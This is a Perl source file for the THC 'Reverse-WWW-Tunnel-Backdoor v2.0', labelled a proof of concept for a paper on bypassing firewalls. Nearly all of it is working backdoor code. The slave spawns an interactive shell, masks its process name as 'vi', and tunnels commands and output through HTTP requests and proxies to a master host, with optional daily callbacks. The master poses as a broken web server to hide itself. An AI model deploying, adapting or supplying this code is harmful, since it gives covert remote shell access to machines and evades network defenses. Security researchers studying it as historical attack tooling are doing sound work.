#
# Reverse-WWW-Tunnel-Backdoor v2.0
# (c) 1998-2002 by van Hauser / [THC] - The Hacker's Choice <vh@reptile.rug.ac.be>
# Check out http://www.thehackerschoice.com
# Proof-of-Concept Program for the paper "Placing Backdoors through Firewalls"
# available at the website above in the "Articles" section.
#

# Greets to all THC, TESO, ADM and #bluebox guys

# verified to work on Linux, Solaris, AIX and OpenBSD

# BUGS: some Solaris machines: select(3) is broken, won't work there
#	on some systems Perl's recv is broken :-( (AIX, OpenBSD) ...
#	we can't make proper receive checks here. Workaround implemented.
#
# HISTORY:
# v2.0: HTTP 1.0 protocol compliance (finally ;-)
# v1.6: included www-proxy authentication ;-))
# v1.4: porting to various unix types (and I thought perl'd be portable...)
# v1.3: initial public release of the paper including this tool

#
# GENERAL CONFIG (except for $MASK, everything must be the same
#		  for MASTER and SLAVE is this section!)
#
$MODE="POST";			 # GET or POST
$CGI_PREFIX="/cgi-bin/orderform";# should look like a valid cgi.
$MASK="vi";			 # for masking the program's process name
$PASSWORD="THC";		 # anything, nothing you have to rememeber
				 # (not a real "password" anyway)
#
# MASTER CONFIG (specific for the MASTER)
#
$LISTEN_PORT=8080;	# on which port to listen (80 [needs root] or 8080)
$SERVER="127.0.0.1";	# the host to run on (ip/dns) (the SLAVE needs this!)

#
# SLAVE CONFIG (specific for the SLAVE)
#
$SHELL="/bin/sh -i";	# program to execute (e.g. /bin/sh)
$DELAY="3";		# time to wait for output after your command(s)
#$TIME="14:39";		# time when to connect to the master (unset if now)
#$DAILY="yes";		# tries to connect once daily if set with something
#$PROXY="127.0.0.1";	# set this with the Proxy if you must use one
#$PROXY_PORT="3128";	# set this with the Proxy Port if you must use one
#$PROXY_USER="user";	# username for proxy authentication
#$PROXY_PASSWORD="pass";# password for proxy authentication
#$DEBUG="yes";		# for debugging purpose, turn off when in production
$BROKEN_RECV="yes";	# For AIX & OpenBSD, NOT for Linux & Solaris

# END OF CONFIG		# nothing for you to do after this point #

################## BEGIN MAIN CODE ##################

require 5.002;
use Socket;

$|=1;				# next line changes our process name
if ($MASK) { for ($a=1;$a<80;$a++){$MASK=$MASK."\000";}  $0=$MASK; }
undef $DAILY   if (! $TIME);
if ( !($PROXY) || !($PROXY_PORT) ) {
	undef $PROXY;
	undef $PROXY_PORT;
}
$protocol = getprotobyname('tcp');

if ($ARGV[0] ne "slave" && $ARGV[0] ne "daemon" && $ARGV[0] ne "master" && $ARGV[1] eq "") {
	print STDOUT "Proof-of-Concept Program for the paper \"Placing Backdoors through Firewalls\"\navailable at http://www.thehackerschoice.com in the \"Articles\" section.\n";
	print STDOUT "Commandline options for rwwwshell:\n\tmaster\t- master mode\n\tslave\t- slave mode\n";
	exit(0);
}

if ($ARGV[0] eq "slave") {
	print STDOUT "starting in slave mode\n";
	$SLAVE_MODE = "yeah";
}

# check for a correct mode
if ($MODE ne "GET" && $MODE ne "POST") {
	print STDOUT "Error: MODE must either be GET or POST, re-edit this perl config\n";
	exit(-1);
}

if (! $SLAVE_MODE) { 
	&master;
} else {
	&slave;
}
# END OF MAIN FUNCTION

############### SLAVE FUNCTION ###############

sub slave {
	$pid = 0;
	$PROXY_SUFFIX = "Host: " . $SERVER . "\r\nUser-Agent: Mozilla/4.0\r\nAccept: text/html, text/plain, image/jpeg, image/*;\r\nAccept-Language: en\r\n";
	if ($PROXY) {		# setting the real config (for Proxy Support)
		$REAL_SERVER = $PROXY;
		$REAL_PORT = $PROXY_PORT;
		$REAL_PREFIX = $MODE . " http://" . $SERVER . ":" . $LISTEN_PORT
			. $CGI_PREFIX;
		$PROXY_SUFFIX = $PROXY_SUFFIX . "Pragma: no-cache\r\n";
		if ( $PROXY_USER && USER_PASSWORD ) {
			&base64encoding;
			$PROXY_SUFFIX = $PROXY_SUFFIX . $PROXY_COOKIE;
		}
	} else {
		$REAL_SERVER = $SERVER;
		$REAL_PORT = $LISTEN_PORT;
		$REAL_PREFIX = $MODE . " " . $CGI_PREFIX;
	}
	$REAL_PREFIX = $REAL_PREFIX . "?"	if ($MODE eq "GET");
	$REAL_PREFIX = $REAL_PREFIX . " HTTP/1.0\r\n"	if ($MODE eq "POST");
AGAIN:	if ($pid) { kill 9, $pid; }
	if ($TIME) {			# wait until the specified $TIME
		$TIME =~ s/^0//;	$TIME =~ s/:0/:/;
		(undef,$min,$hour,undef,undef,undef,undef,undef,undef)
			= localtime(time);
		$t=$hour . ":" . $min;
		while ($TIME ne $t) {
			sleep(28); # every 28 seconds we look at the watch
			(undef,$min,$hour,undef,undef,undef,undef,undef,undef)
				= localtime(time);
			$t=$hour . ":" .$min;
		}
	}
	print STDERR "Slave activated\n"	if $DEBUG;
	if ($DAILY) {			# if we must connect daily, we'll
		if (fork) {		# fork the daily shell process to
			sleep(69);	# ensure the master control process
			goto AGAIN;	# won't get stuck by a fucking cmd
		}			# the user executed.
	print STDERR "forked\n" if $DEBUG;
	}
	$address = inet_aton($REAL_SERVER) || die "can't resolve server\n";
	$remote = sockaddr_in($REAL_PORT, $address);
	$forked = 0;
GO:	close(THC);
	socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
		or die "can't create socket\n";
	setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
	if (! $forked) {		# fork failed? fuck, let's try again
		pipe R_IN, W_IN;        select W_IN;  $|=1;
		pipe R_OUT, W_OUT;      select W_OUT; $|=1;
		$pid = fork;
		if (! defined $pid) {
			close THC;
			close R_IN;	close W_IN;
			close R_OUT;	close W_OUT;
			goto GO;
		}
		$forked = 1;
	}
	if (! $pid) {           # this is the child process (execs $SHELL)
		close R_OUT;	close W_IN;	close THC;
		print STDERR "forking $SHELL in child\n"	if $DEBUG;
		open STDIN,  "<&R_IN";
		open STDOUT, ">&W_OUT";
		open STDERR, ">&W_OUT";
		exec $SHELL || print W_OUT "couldn't spawn $SHELL\n";
		close R_IN;     close W_OUT;
		exit(0);
	} else {                # this is the parent (data control + network)
		close R_IN;
		sleep($DELAY);	# we wait $DELAY for the commands to complete
		vec($rs, fileno(R_OUT), 1) = 1;
		print STDERR "before: allwritten2stdin\n"	if $DEBUG;
		select($r = $rs, undef, undef, 30);
		print STDERR "after : wait for allwritten2stdin\n" if $DEBUG;
		sleep(1);	# The following readin of the command output
		$output = "";	# looks weird. It must be! every system
		vec($ws, fileno(W_OUT), 1) = 1;     # behaves different :-((
		print STDERR "before: readwhiledatafromstdout\n"   if $DEBUG;
		while (select($w = $ws, undef, undef, 1)) {
			read R_OUT, $readout, 1 || last;
			$output = $output . $readout;
		}
		print STDERR "after : readwhiledatafromstdout\n"   if $DEBUG;
		print STDERR "before: fucksunprob\n"	if $DEBUG;
		vec($ws, fileno(W_OUT), 1) = 1;
		while (! select(undef, $w=$ws, undef, 0.001)) {
			read R_OUT, $readout, 1 || last;
			$output = $output . $readout;
		}
		print STDERR "after : fucksunprob\n"	if $DEBUG;
		print STDERR "send 0byte to stdout, fail->exit\n"   if $DEBUG;
		print W_OUT "\000" || goto END_IT;
		print STDERR "before: readallstdoutdatawhile!eod\n" if $DEBUG;
		while (1) {
			read R_OUT, $readout, 1 || last;
			last  if ($readout eq "\000");
			$output = $output . $readout;
		}
		print STDERR "after : readallstdoutdatawhile!eod\n" if $DEBUG;
		&uuencode;	# does the encoding of the shell output
		if ($MODE eq "GET") {
			$encoded = $REAL_PREFIX . $encoded . " HTTP/1.0\r\n";
			$encoded = $encoded . $PROXY_SUFFIX;
			$encoded = $encoded . "\r\n";
		} else {	# $MODE is "POST"
			$encoded = $REAL_PREFIX . $PROXY_SUFFIX
			 . "Content-Type: application/x-www-form-urlencoded\r\n\r\n"
			 . $encoded . "\r\n";
		}
		print STDERR "connecting to remote, fail->exit\n" if $DEBUG;
		connect(THC, $remote) || goto END_IT;	# connect to master
		print STDERR "send encoded data, fail->exit\n" if $DEBUG;
		send (THC, $encoded, 0) || goto END_IT;	# and send data
		$input = "";
		vec($rt, fileno(THC), 1) = 1;  # wait until master sends reply
		print STDERR "before: wait4answerfromremote\n"	if $DEBUG;
		while (! select($r = $rt, undef, undef, 0.00001)) {}
		print STDERR "after : wait4answerfromremote\n"	if $DEBUG;
		print STDERR "read data from socket until eod\n" if $DEBUG;
		$error="no";
#		while (1) {		# read until EOD (End Of Data)
			print STDERR "?"	if $DEBUG;
	# OpenBSD 2.2 can't recv here! can't get any data! sucks ...
			recv (THC, $readin, 16386, 0) || undef $error;
#			if ((! $error) and (! $BROKEN_RECV)) { goto OK; }
			print STDERR "!"	if $DEBUG;
			goto OK  if (($readin eq "\000") or ($readin eq "\n")
				or ($readin eq ""));
			$input = $input . $readin;
#		}
OK:		print STDERR "\nall data read, entering OK\n"	if $DEBUG;
		print STDERR "RECEIVE: $input\n"	if $DEBUG;
		$input =~ s/.*\r\n\r\n//s;
		print STDERR "BEFORE DECODING: $input\n"	if $DEBUG;
		&uudecode;		# decoding the data from the master
		print STDERR "AFTER DECODING: $decoded\n"	if $DEBUG;
		print STDERR "if password not found -> exit\n"	if $DEBUG;
		goto END_IT	if ($decoded =~ m/^$PASSWORD/s == 0);
		$decoded =~ s/^$PASSWORD//;
		print STDERR "writing input data to $SHELL\n"	if $DEBUG;
		print W_IN "$decoded" || goto END_IT;	# sending the data
		sleep(1);				# to the shell proc.
		print STDERR "jumping to GO\n"	if $DEBUG;
		goto GO;
	}
END_IT:	kill 9, $pid;	$pid = 0;
	exit(0);
} # END OF SLAVE FUNCTION

############### MASTER FUNCTION ###############

sub master {
	socket(THC, &PF_INET, &SOCK_STREAM, $protocol)
		or die "can't create socket\n";
	setsockopt(THC, SOL_SOCKET, SO_REUSEADDR, 1);
	bind(THC, sockaddr_in($LISTEN_PORT, INADDR_ANY)) || die "can't bind\n";
	listen(THC, 3) || die "can't listen\n";		# print the HELP
	print STDOUT '
Welcome to the Reverse-WWW-Tunnel-Backdoor v2.0 by van Hauser / THC ...

Introduction: 	Wait for your SLAVE to connect, examine it\'s output and then
		type in your commands to execute on SLAVE. You\'ll have to
		wait min. the set $DELAY seconds before you get the output
		and can execute the next stuff. Use ";" for multiple commands.
		Trying to execute interactive commands may give you headache
		so beware. Your SLAVE may hang until the daily connect try
		(if set - otherwise you lost).
		You also shouldn\'t try to view binary data too ;-)
		"echo bla >> file", "cat >> file <<- EOF", sed etc. are your
		friends if you don\'t like using vi in a delayed line mode ;-)
		To exit this program on any time without doing harm to either
		MASTER or SLAVE just press Control-C.
		Now have fun.
';

YOP:	print STDOUT "\nWaiting for connect ...";
	$remote=accept (S, THC)  ||  goto YOP;		# get the connection
	($r_port, $r_slave)=sockaddr_in($remote);	# and print the SLAVE
	$slave=gethostbyaddr($r_slave, AF_INET);	# data.
	$slave="unresolved" if ($slave eq "");
	print STDOUT " connect from $slave/".inet_ntoa($r_slave).":$r_port\n";
	select S;	$|=1;
	select STDOUT;	$|=1;
	$input = "";
	vec($socks, fileno(S), 1) = 1;
	$error="no";
#	while (1) {			# read the data sent by the slave
		while (! select($r = $socks, undef, undef, 0.00001)) {}
		recv (S, $readin, 16386, 0) || undef $error;
		if ((! $error) and (! $BROKEN_RECV)) {
		    print STDOUT "[disconnected]\n";
		}
#		$readin =~ s/\r//g;
#		$input = $input . $readin;
#		last  if ( $input =~ m/\r\n\r\n/s );
		$input = $readin;
		print STDERR "MASTER RECEIVE: $input\n"	if $DEBUG;
#	}
	&hide_as_broken_webserver  if ( $input =~ m/$CGI_PREFIX/s == 0 );
	if ( $input =~ m/^GET /s ) {
		$input =~ s/^.*($CGI_PREFIX)\??//s;
		$input =~ s/\r\n.*$//s;
	} else { if ( $input =~ m/^POST /s ) {
		$input =~ s/^.*\r\n\r\n//s;
	} else { if ( $input =~ m/^HEAD /s ) {
		&hide_as_broken_webserver;
	} else {
		close S;
		print STDOUT "Warning! Illegal server access!\n";   # report to user
		goto YOP;
	} } }
	print STDERR "BEFORE DECODING: $input\n"	if $DEBUG;
	&uudecode;		# decoding the data from the slave
	&hide_as_broken_webserver  if ( $decoded =~ m/^$PASSWORD/s == 0 );
	$decoded =~ s/^$PASSWORD//s;
	$decoded = "[Warning! No output from remote!]\n>" if ($decoded eq "");
	print STDOUT "$decoded";	# showing the slave output to the user
	$output = <STDIN>;		# and get his input.
	&uuencode;		# encode the data for the slave
	$encoded = "HTTP/1.1 200 OK\r\nConnection: close\r\nContent-Type: text/plain\r\n\r\n" . $encoded . "\r\n";
	send (S, $encoded, 0) || die "\nconnection lost!\n";	# and send it
	close (S);
	print STDOUT "sent.\n";
	goto YOP;		# wait for the next connect from the slave
} # END OF MASTER FUNCTION

###################### MISC. FUNCTIONS #####################

sub uuencode {	# does the encoding stuff for error-free data transfer via WWW
	$output = $PASSWORD . $output;		# PW is for error checking and
        $uuencoded = pack "u", "$output";	# preventing sysadmins from
        $uuencoded =~ tr/'\n)=(:;&><,#$*%]!\@"`\\\-'	# sending you weird
                        /'zcadefghjklmnopqrstuv'	# data. No real
                        /;				# security!
        $uuencoded =~ tr/"'"/'b'/;
	if ( ($PROXY) && ($SLAVE_MODE) ) {# proxy drops request if > 4kb
		$codelength = (length $uuencoded) + (length $REAL_PREFIX) +12;
		$cut_length = 4099 - (length $REAL_PREFIX);
		$uuencoded = pack "a$cut_length", $uuencoded
			if ($codelength > 4111);
	}
        $encoded = $uuencoded;
} # END OF UUENCODE FUNCTION

sub uudecode {	# does the decoding of the data stream
	$input =~     tr/'zcadefghjklmnopqrstuv'
			/'\n)=(:;&><,#$*%]!\@"`\\\-'
			/;
	$input =~     tr/'b'/"'"/;
	$decoded = unpack "u", "$input";
} # END OF UUDECODE FUNCTION

sub base64encoding {	# does the base64 encoding for proxy passwords
	$encode_string = $PROXY_USER . ":" . $PROXY_PASSWORD;
	$encoded_string = substr(pack('u', $encode_string), 1);
	chomp($encoded_string);
	$encoded_string =~ tr|` -_|AA-Za-z0-9+/|;
	$padding = (3 - length($encode_string) % 3) % 3;
	$encoded_string =~ s/.{$padding}$/'=' x $padding/e if $padding;
	$PROXY_COOKIE = "Proxy-authorization: Basic " . $encoded_string . "\n";
} # END OF BASE64ENCODING FUNCTION

sub hide_as_broken_webserver {	# invalid request -> look like broken server
	send (S, "<HTML><HEAD>\r\n<TITLE>404 File Not Found</TITLE>\r\n</HEAD>".
		 "<BODY>\r\n<H1>File Not Found</H1>\r\n</BODY></HTML>\r\n", 0);
	close S;
	print STDOUT "Warning! Illegal server access!\n";   # report to user
	goto YOP;
} # END OF HIDE_AS_BROKEN_WEBSERVER FUNCTION

# END OF PROGRAM # (c) 1998-2002 by <vh@reptile.rug.ac.be>